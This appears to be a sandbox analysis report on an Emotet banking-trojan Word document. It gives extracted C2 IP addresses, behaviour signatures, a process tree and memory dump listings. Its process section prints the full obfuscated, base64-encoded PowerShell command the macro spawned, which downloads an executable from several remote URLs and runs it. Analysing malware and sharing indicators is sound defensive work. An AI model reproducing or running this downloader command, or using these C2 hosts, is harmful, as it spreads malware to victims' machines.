Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    78s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    16/10/2020, 21:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_ca85dbfecc73cb293b1af1230d6087dbab85c700a767a552cbadf40af3eeb745_2020-10-16__212313397631._doc.doc
  • Size 163KB
  • Sample201016-llk2bzd6bs
  • SHA256 ca85dbfecc73cb293b1af1230d6087dbab85c700a767a552cbadf40af3eeb745
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 208.180.207.205:80

  • 167.114.153.111:8080

  • 169.50.76.149:8080

  • 87.106.136.232:8080

  • 134.209.36.254:8080

  • 110.145.77.103:80

  • 61.19.246.238:443

  • 218.147.193.146:80

  • 194.4.58.192:7080

  • 123.176.25.234:80

  • 139.99.158.11:443

  • 174.106.122.139:80

  • 137.59.187.107:8080

  • 37.187.72.193:8080

  • 168.235.67.138:7080

  • 190.108.228.27:443

  • 139.59.60.244:8080

  • 184.180.181.202:80

  • 71.72.196.159:80

  • 47.144.21.12:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_ca85dbfecc73cb293b1af1230d6087dbab85c700a767a552cbadf40af3eeb745_2020-10-16__212313397631._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1480
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABQAHEAbwA4AGsANQA1AD0AKAAnAFkAMwAnACsAKAAnADUAMQAnACsAJwBsADgAJwApACsAJwBsACcAKQA7ACQAWQA5AHgANgBnAGMAdAA9ACQAQQBsADkAOAAyAGMAYQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQATABiADMAdwBqADQAZwA7ACQAQwB3AGoAMgB6AHcAcAA9ACgAJwBEAHoAJwArACgAJwBnACcAKwAnAF8AeAA1ADMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBjAGAAUgBgAEUAYABBAHQARQBkAEkAcgBlAEMAVABPAHIAWQAiACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAJwB7ADAAfQBQACcAKwAoACcAMABnACcAKwAnAGUAJwApACsAJwAzAHEAdAB7ADAAfQBBACcAKwAoACcAbgA3AGwAJwArACcAdABqACcAKQArACcANQB7ADAAfQAnACkAIAAtAGYAIABbAGMAaABhAHIAXQA5ADIAKQApADsAJABCAG8AawBpAGwAOQBqAD0AKAAnAEwAJwArACgAJwByAHIAJwArACcAaQBjAGkAaQAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQB0AFkAUABgAFIATwB0AG8AYABjAG8ATAAiACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgAiAHQAYABsAFMAMQAyACIAOwAkAFAAZQB3AHoAeQB2ADUAPQAoACcAWAAnACsAKAAnAGcAMwBjACcAKwAnADgAJwApACsAJwBhAGsAJwApADsAJABKADAAZQA0ADAAZQBkACAAPQAgACgAKAAnAEgAJwArACcAeQB1ACcAKQArACgAJwA3ACcAKwAnAHMAOQBuACcAKQArACcAZgAnACkAOwAkAFQAbABpAGYAaAB6ADgAPQAoACcAQQBvACcAKwAoACcAcwAnACsAJwBpAGMAcQAnACkAKwAnAHIAJwApADsAJABYAG0AZQBnAGgAdwBwAD0AKAAoACcAVwAnACsAJwA5AG8AegBuACcAKQArACcAeQB5ACcAKQA7ACQATwB1AGEAcwA2ADkAaAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAEMAJwArACcAUQBiACcAKQArACgAJwBQADAAZwBlADMAJwArACcAcQAnACsAJwB0AEMAJwApACsAKAAnAFEAJwArACcAYgBBAG4ANwBsACcAKQArACgAJwB0ACcAKwAnAGoANQAnACkAKwAnAEMAJwArACcAUQAnACsAJwBiACcAKQAuACIAUgBlAGAAUABsAGEAQwBlACIAKAAoAFsAQwBoAEEAUgBdADYANwArAFsAQwBoAEEAUgBdADgAMQArAFsAQwBoAEEAUgBdADkAOAApACwAJwBcACcAKQApACsAJABKADAAZQA0ADAAZQBkACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQATABtADgAawB2AGoAegA9ACgAJwBXAHcAJwArACgAJwA3AHgAJwArACcANABvAGkAJwApACkAOwAkAEEANAA2AHEANgB0ADMAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAYwBMAGkAZQBOAHQAOwAkAFkANABoADIANwBvAHgAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAcwA6ACcAKwAnAC8ALwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBwAHAAJwApACsAKAAnAHkAbABvAG4ALgAnACsAJwBjAG8AJwApACsAJwBtAC8AJwArACcAdwBwACcAKwAnAC0AJwArACgAJwBhAGQAJwArACcAbQBpACcAKQArACgAJwBuACcAKwAnAC8ARQAyACcAKQArACgAJwAyAHoAaABvAC8AJwArACcAKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8AJwApACsAJwAvACcAKwAnAHAAJwArACcAZQByACcAKwAoACcAcwAnACsAJwBvAG4AYQBsACcAKQArACgAJwB0AHIAJwArACcAYQBpAG4AZQByACcAKQArACgAJwBzAGkAJwArACcAbgAnACkAKwAnAGQAaQAnACsAKAAnAGEAJwArACcALgBjAG8AJwArACcAbQAvACcAKQArACcAZgAnACsAJwBvACcAKwAoACcAbgB0ACcAKwAnAHMALwAnACkAKwAoACcAUQA1ADUAWAAnACsAJwAvACcAKwAnACoAaAB0AHQAJwArACcAcABzADoALwAnACkAKwAnAC8AJwArACgAJwBlAGwAZAAnACsAJwBhACcAKwAnAGgAdwAnACkAKwAnAGEALgAnACsAJwBjAG8AJwArACgAJwBtAC8AOQB0ACcAKwAnAGgALQBnAHIAJwApACsAKAAnAGEAZABlACcAKwAnAC8AJwApACsAJwBGADIAJwArACcASwAnACsAKAAnAHcAJwArACcALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwAHMAOgAvAC8AJwArACcAbQBlAGUAJwApACsAJwBhAGsAJwArACgAJwAuAGMAbwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGEAJwApACsAKAAnAGQAbQAnACsAJwBpAG4ALwAnACsAJwBsAGMASgAnACsAJwAvACoAaAB0AHQAcABzADoAJwApACsAKAAnAC8ALwAnACsAJwBwAHIAJwApACsAKAAnAGEAJwArACcAYgBoAGEAJwApACsAKAAnAHQAJwArACcAYwB5AGMAbABlACcAKwAnAHMAJwApACsAJwAuACcAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvACcAKwAoACcAcAByAGEAJwArACcAYgAnACkAKwAnAGgAYQAnACsAJwB0AGMAJwArACcAeQBjACcAKwAoACcAbABlAHMALwAnACsAJwBVADEAaQAnACkAKwAoACcANwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwApACsAJwBwADoAJwArACgAJwAvACcAKwAnAC8AaAAnACkAKwAnAG8AdQAnACsAJwBzAGUAJwArACgAJwB0ACcAKwAnAHUAdAAnACsAJwBvAHIALgAnACkAKwAnAHcAJwArACgAJwBhACcAKwAnAHMAcwBlAGUAJwApACsAKAAnAGwAYQAnACsAJwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAHgAMgBlAGsAZgAnACsAJwAvACcAKwAnAHQATQAnACkAKwAnAFIAJwArACgAJwAvACoAJwArACcAaAAnACsAJwB0AHQAcAA6AC8ALwAnACkAKwAoACcAaQBlAGkANwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtAC8AdwAnACkAKwAnAHAAJwArACcALQBhACcAKwAoACcAZABtACcAKwAnAGkAbgAnACkAKwAnAC8AJwArACcANQAnACsAJwBTACcAKwAnAGgAJwArACgAJwBLAEwAJwArACcAbgAvACcAKQArACgAJwAqAGgAdAB0AHAAcwA6ACcAKwAnAC8AJwArACcALwB3ACcAKQArACgAJwB3ACcAKwAnAHcALgAnACkAKwAoACcAcgBpACcAKwAnAGcAJwArACcAaAB0ADIAbAAnACkAKwAnAGkAJwArACgAJwBmACcAKwAnAGUAcgB4AC4AYwAnACsAJwBvACcAKQArACcAbQAvACcAKwAoACcAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvAEEAJwApACsAKAAnAGMAZwBFACcAKwAnAEgAJwApACsAJwAvACcAKQAuACIAcwBgAHAAbABpAFQAIgAoACQAQgBsAHcAdwBpAF8AZwAgACsAIAAkAFkAOQB4ADYAZwBjAHQAIAArACAAJABYAGIAagBrAGwAaABkACkAOwAkAFMAMgAzADEAdQBoADAAPQAoACcAUgAnACsAKAAnAHgAawB2ADIAJwArACcAMwBvACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGIAcgAzAHgAMAAzACAAaQBuACAAJABZADQAaAAyADcAbwB4ACkAewB0AHIAeQB7ACQAQQA0ADYAcQA2AHQAMwAuACIAZABgAG8AdwBuAEwATwBhAGAARABGAGAAaQBsAEUAIgAoACQAUABiAHIAMwB4ADAAMwAsACAAJABPAHUAYQBzADYAOQBoACkAOwAkAFMAZgB3AGMAYgBjAHMAPQAoACcARQAnACsAKAAnADMAJwArACcAbwB1ACcAKQArACgAJwBfACcAKwAnAHAAaAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABPAHUAYQBzADYAOQBoACkALgAiAEwAYABFAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADQANAA1ADQAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuACcAKQArACgAJwAzACcAKwAnADIAXwAnACkAKwAoACcAUAAnACsAJwByAG8AYwBlAHMAcwAnACkAKQApAC4AIgBDAFIAYABlAGAAQQBUAEUAIgAoACQATwB1AGEAcwA2ADkAaAApADsAJABOADkAYgB4AHMAegA2AD0AKAAoACcAWgA5AHcAJwArACcAegB2ACcAKQArACcAbwBlACcAKQA7AGIAcgBlAGEAawA7ACQAVQB2AGYAdgBiAGwAeQA9ACgAKAAnAEgAdQAnACsAJwAzACcAKQArACcANQBwACcAKwAnAHgAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAYwBpADYAbQA2AGcAPQAoACgAJwBUADEAYwAnACsAJwBlADgAJwApACsAJwAzAHYAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1972
  • C:\Users\Admin\P0ge3qt\An7ltj5\Hyu7s9nf.exe
    C:\Users\Admin\P0ge3qt\An7ltj5\Hyu7s9nf.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1460
    • C:\Windows\SysWOW64\SearchProtocolHost\wdi.exe
      "C:\Windows\SysWOW64\SearchProtocolHost\wdi.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:108

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/108-21-0x0000000000490000-0x00000000004AB000-memory.dmp
        Download

        memory/108-20-0x0000000000470000-0x000000000048C000-memory.dmp
        Download

        memory/1216-22-0x000007FEF5680000-0x000007FEF58FA000-memory.dmp
        Download

        memory/1460-16-0x00000000002A0000-0x00000000002BC000-memory.dmp
        Download

        memory/1460-17-0x0000000000360000-0x000000000037B000-memory.dmp
        Download

        memory/1480-6-0x0000000006EA0000-0x00000000070A0000-memory.dmp
        Download

        memory/1480-2-0x0000000008910000-0x0000000008914000-memory.dmp
        Download

        memory/1972-9-0x000000001AB30000-0x000000001AB31000-memory.dmp
        Download

        memory/1972-13-0x000000001C240000-0x000000001C241000-memory.dmp
        Download

        memory/1972-12-0x000000001B700000-0x000000001B701000-memory.dmp
        Download

        memory/1972-11-0x00000000024A0000-0x00000000024A1000-memory.dmp
        Download

        memory/1972-10-0x00000000026C0000-0x00000000026C1000-memory.dmp
        Download

        memory/1972-8-0x00000000023D0000-0x00000000023D1000-memory.dmp
        Download

        memory/1972-7-0x000007FEEA1D0000-0x000007FEEABBC000-memory.dmp
        Download